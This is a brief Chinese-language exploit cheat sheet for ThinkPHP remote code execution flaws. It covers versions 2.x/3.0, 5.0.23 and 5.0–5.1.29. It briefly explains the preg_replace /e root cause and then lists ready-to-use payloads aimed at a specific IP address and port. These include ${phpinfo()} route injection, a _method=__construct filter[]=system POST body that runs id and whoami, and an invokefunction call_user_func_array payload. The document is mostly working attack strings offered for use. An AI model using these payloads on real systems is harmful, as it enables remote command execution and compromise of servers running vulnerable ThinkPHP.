Thinkphp

Thinkphp2.x,3.0

http://47.115.215.87:8080/index.php

漏洞原因
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
这是一个路由匹配规则
$var[\'\\1\']="\\2"这里\是转义
转义后$var['\1']="\2"
$var['\1']="\2" 这里双引号引发函数执行,在php中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,如果{}写的是一个已知函数,那么这个函数就会被执行。
thinkphp路由的格式是分组/模块/操作名/参数
Payload:
?s=a/b/c/${phpinfo()} (这里的a/b/c可以任意,但是一定要写)

?s=/index/index/name/$%7B@phpinfo()%7D   (这个是编码之后的都一样,前面的三个路径也是随意)
http://47.115.215.87:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

Thinkphp5.0.23

47.115.215.87:8080

47.115.215.87:8080/index.php
http://47.115.215.87:8080?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

5.0<thinkphp<=5.0.22 5.1<thinkphp<=5.1.29

Payload:
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1